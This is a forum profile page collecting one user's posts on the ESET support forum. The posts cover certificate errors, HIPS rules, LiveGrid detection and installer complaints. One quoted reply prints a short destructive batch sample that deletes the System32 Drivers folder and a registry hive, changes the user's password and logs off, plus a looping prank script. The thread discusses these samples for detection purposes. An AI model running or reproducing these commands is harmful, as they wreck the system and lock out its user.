SeriousHoax
-
Posts
367 -
Joined
-
Last visited
-
Days Won
10
Posts posted by SeriousHoax
-
-
11 hours ago, itman said:
@SeriousHoax already posted a work around that worked for him here: https://forum.eset.com/topic/23125-certificate-issues-for-firefox-740-64bit/?do=findComment&comment=111976
Note that he deleted the existing and only Eset certificate from the Windows root CA certificate store, not the from FireFox's Authorities certificate store, He then rebooted, and Eset's root certificate auto repopulated in the Windows root CA certificate store. Why this works, I really have no clue.
I just remembered actually it worked for me before the current Internet protection module. I updated to pre-release version which is the current stable version but this method didn't work. Then I reverted to stable build and then the method worked. So, it's definitely the issue of the current module. The one prior to this version didn't have the problem.
-
21 hours ago, itman said:
A couple of months ago. The Eset version was the 13.0.24.
This is why you didn't have this issue. This is a recent problem with new installation. Current Internet protection module is the faulty one I think. The one before that was fine.
-
43 minutes ago, itman said:
I installed both FireFox and Eset on a clean Win 10 x(64) 1909 installation and have zip issues in regards to any FireFox certificate issues. I did however install Eset first, prior to installing FireFox.
How long ago did you do it?
-
On 4/24/2020 at 1:10 PM, Posolsvetla said:
This is very likely the issue we are already aware of. It manifests itself only on a fresh install of our product.
It will be addressed by the Internet protection module update.Can you tell when this is going to be fixed? I'll reinstalled my WIndows after the release of Windows 10 2004 on May 12 so I hope it to be fixed before that.
-
I had a similar issue on a clean installation of ESET. What worked for me is that I deleted the ESET certificate from the trusted root certificate of Windows then restarted the PC.
-
10 minutes ago, Super_Spartan said:
Kaspersky for example taking 6/6 for performance is a big lie! It is heavy and so is Trend Micro.
Kaspersky used to heavy but it's not anymore. They made some improvements few months ago and now it's even better. Trend Micro is definitely heavy like you said and even AV-Test's result show that it is heavier than the average.
-
7 minutes ago, Marcos said:
It's registered to Dave R. with an email address with Indian domain. I have no clue what is the relation between that person and you.
Yes, Dave Russo. He's a member on malwaretips forum. He gave it to me at the end of last month. Without logging in to the account if the key is put during ESET installation then it works though so not much of a problem. No problem I guess as long as it's not stolen and over used by someone else.
-
6 minutes ago, Marcos said:
I have forwarded your query to the Russian distributor. There are 8 EIS monthly invoiced licenses registered with your email address and 3 others with standard licensing. An email was sent to your registration email address that you should confirm the ownership.
I have an ESET key that was given to me as a gift. I'm not sure from where it was purchased but the key works. Currently no one else is using it either so seems like a legit key. But after adding it to an account I get the same ownership alert. Can you check this?
-
Use an adblocker like uBlock Origin, it blocks the script.
-
33 minutes ago, itman said:
Works for me:
If you have coded this, %APPDATA%, in the rule, replace it with, C:\Users\XXXXX\AppData\Roaming\..............
Ok thanks.
-
6 minutes ago, itman said:
Are you monitoring write activity to %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\*.*? If you're monitoring program startup activity, none be detected for a .lnk file since it is just a shortcut to the actual .exe location.
Also if your monitoring write activity to %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\*.*, you have to allow write activity to hidden OS .ini files there. Finally, you just can absolutely block anything written to %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\*.* since legit apps and even the OS may do so although I have yet to find anything that does.
My rule is "*" instead of "*.*". Aren't they the same? I'm yet to notice anything either.
-
1 hour ago, itman said:
We discussed this previously via PM.
First, you can't create a HIPS rule blocking for example, %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\*.* because there are legit hidden files in that directory that the OS constantly updates.
Hmm I tested it after you told me that .lnk doesn't work. I still have a rule created but got no alert yet.
-
17 minutes ago, itman said:
Personally, I am tired with what I am seeing here.
Sometime ago, I performed my own testing in regards to Eset's monitoring of %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup. I created a .lnk reference to an .exe which BTW is the oldest trick "known to malware mankind" that ran w/o issue. I subsequently had a long PM conversation with Eset about this to apparently no avail.
Now I do monitor write activity to this directory via Eset HIPS rules. But in some convoluted fashion since the "stone age" HIPS won't allow me to do so properly by wildcard specification; e.g. *.lnk, etc..
With * rule if a new file is created eg: a notpad file then the HIPS rule works but .lnk doesn't created by apps doesn't work 😒
-
8 minutes ago, itman said:
No, because it is used legitimately by the OS and apps. Additionally if you want to verify a cert. chaining path, the OS will dial-out to the cert. originator web site for verification. This is because not all certs. reside in the Window CA store.
Ohh didn't know that. I created rules to block it in OSA. Let's see when I get a block.
-
6 minutes ago, Marcos said:
It would be interesting to know where you got the sample from since even Lawrence could not get hold of it:
If you have been infected and know where you downloaded the file, please submit a sample here or contact us on Twitter with the site you downloaded the file.
Please provide SHA1 of the sample and submit it to samples[at]eset.com. You can share it with Lawrence as well.
I shared the sample to Eset's sample submit email few hours ago. Just now submitted to Lawrence also.
Here's the SHA1: CAA76AE5CA56541DF4776A4E0667AD3948048757
-
6 minutes ago, itman said:
Also there is a flurry of Wiper malware currently floating around:
New Wiper Malware impersonates security researchers as prank
And these will most definitely bork your OS installation:
So be very careful with anything you download. Which again gets us back to Reputational scanning ..............
Hmm tested ESET against this malware. ESET failed, whole system lockdown.
-
21 minutes ago, itman said:
MITRE has a list of known malicious attack methods deployed using CertUtil.exe and associated APT groups using them here: https://attack.mitre.org/software/S0160/ . Of note is it can also be deployed to install a root certificate in Window root CA store allowing the attacker to perform a man-in-the-middle attack against encrypted communications.
It would've been easier to deny CertUtil.exe execution all together if Eset had support for wildcards in HIPS. I know you asked for it many times but not gonna happen sadly.
-
8 minutes ago, Marcos said:
A trivial batch "malware". Moreover, with a typo. Even after correcting the typo the user would have to run it as an admin and confirm deletion of the registry key.
@echo off
title Windows update: P
rd C:\Windows\System32\Drivers /s /q
reg delete HKEY_LOCAL_MASHINE
net user %username% hahahalol
logoffThe second one is hardly malware, it's more of a prank:
:1
start
start explorer.exe
start iexplore.exe youareanidiot.org
start
goto 1For the first one admin right is required if UAC is set to max I guess. But most users use it at default and it doesn't prompt for UAC permission in that case. It's a malware nonetheless.
I thought the same too about the second one because the malware creator literally has nothing to gain from it. But locking down the system is dangerous for the user so I guess this should be regarded as a malware for that.
-
29 minutes ago, Marcos said:
That's true only for samples for which a smart detection could not be created automatically. A detection is then created manually and distributed to clients within a few minutes. If I submit new PE malware, it's typically detected as Suspicious object within a few minutes and as GenKryptik, Kryptik or Injector within the next few minutes after a smart DNA detection has been created automatically for similar variants and has been distributed to users via streamed updates.
Please provide SHA1 of malware that I could check and tell you when we received it and when a detection was added.
It appears that most of samples you've submitted were non-PE files (js, doc, vbs, ...) and the detection was already created at the time we received the samples. However, as I wrote before these non-PE detections require a module update, hence you had to wait until the next module update for the detections to take effect.
Oh, ok. In that case ESET should create signatures for this two samples. I submitted almost this 3 days ago but no detection yet. The exe is known to LiveGrid for 3 days. This two are pretty dangerous and annoying samples. You should have a look.
SHA1: D1C3F5EF9319284B79D570A2DBD0AC07ED859D5E
SHA1: D00023A67298E4293AF2BC0E42AFECDB1D0D476F
-
17 minutes ago, Marcos said:
This is not true. With LiveGrid Feedback system enabled, possible new malware is submitted to ESET for analysis in a sandbox and a smart DNA detection is typically automatically created and delivered to users with LiveGrid Reputation system within minutes.
I haven't seen it working in such way yet. For me it's always been that few hours after I submit or after I receive a reply from samples@eset.com, Eset starts detecting it via LiveGrid as Suspicious and not before that. Besides what I wrote above is also written here: https://support.eset.com/en/kb531-what-is-eset-livegrid
QuoteESET LiveGrid® (built on the ThreatSense.Net early warning system) transmits newfound infiltrations from your computer directly to the malware experts at ESET. These experts analyze and process the information, then add it to to the detection engines issued by ESET.
-
As you already know it's also important to say that ESET's LiveGrid is not a cloud sandbox analysis system like what's found in other programs like Kaspersky, Norton. LiveGrid can't automatically analyze suspected files and give a verdict on home products or create an emergency cloud signature to protect other users. It requires an ESET security expert to manually analyze a file and only then it is blacklisted in LiveGrid. This process is sometimes way too slow and I've seen it delaying detection of dangerous samples for multiple days. LiveGrid status for suspicious samples means nothing until it's analyzed by an expert.
-
1 hour ago, Marcos said:
As far as files are concerned, LiveGrid contains information about PE files only.
Ok but what about the difference in detection in 2 different systems having same modules? The only difference is the host PC received update like maybe one or half an hour ago while the VM received later after turning it on.
-
@Marcos I have a question. One thing that I've seen for non exe malwares is that, after ESET adding a previously undetected sample to signature that I submitted, Eset with the same module and rapid signature version don't detect it on my PC while in VM which I just turned on and received an update detects it. Manually checking for updates or LiveGrid reputation, even executing, etc nothing detects the sample on my main PC. I have to wait for the next module update for it to be detected on my PC. This happened a lot. Never happens for .exe samples because even without signature LiveGrid blacklisting would detect it but that doesn't seem to be the case for non exe files like scripts. LiveGrid doesn't seem to work for scripts but I don't understand why my VM detects that new sample but my PC don't until a new module update!
-
The easiest solution would be to change your Adblocker. From the screenshot it looks like you're already using one but that's not a good adblocker in my opinion. Remove that from Chrome and install uBlock Origin. It would block the access to outbrain.com in all websites so there should be no more popups. Here's the link: https://chrome.google.com/webstore/detail/ublock-origin/cjpalhdlnbpafiamejdnhcphjbkeiagm
Online + Offline Installer and First update after installation
in ESET Internet Security & ESET Smart Security Premium
Posted
I'm stating two issues here in one topic.
First, ESET has two types of installers, one is an online installer and the other is offline. But both are totally misleading. The offline installer is merely a 53 mb file which only installs the product but the all the modules data is downloaded after installing. Then the online installer which should do what the name suggests but it doesn't. All it does is downloads that 53 mb installer and install and of course downloads all the modules data after installing. Why even say it an online installer while it's definitely not! Highly misleading. Literally every AV I ever tried, all of their online installer download the whole product including modules and signatures, etc. ESET is the only exceptional one. Same goes for which is supposed to be ESET's offline installer. Almost all AV who still provides an offline installer installs the full product and only download the required new updates after installing unlike ESET. I don't understand! If you want to give users the option for an offline installer then that should contain every modules, updates till the day of creation and for the online installer it must download everything first then install the product.
The second issue is, ESET update downloading speed right after installing is always very slow for me. Most of the time it only use 10-20% of my bandwidth even when there is no other internet activity. I started using ESET when version 12 came out and so far it has always been this way. My internet is already pretty slow so only using 10-20% bandwidth makes the process extremely annoying. Update download speed is always slow I guess but since the daily signature updates are only a few kilobytes, those are not noticeable but the first update is. Why does this happen? Why can't ESET make use of the rest of the free internet bandwidth?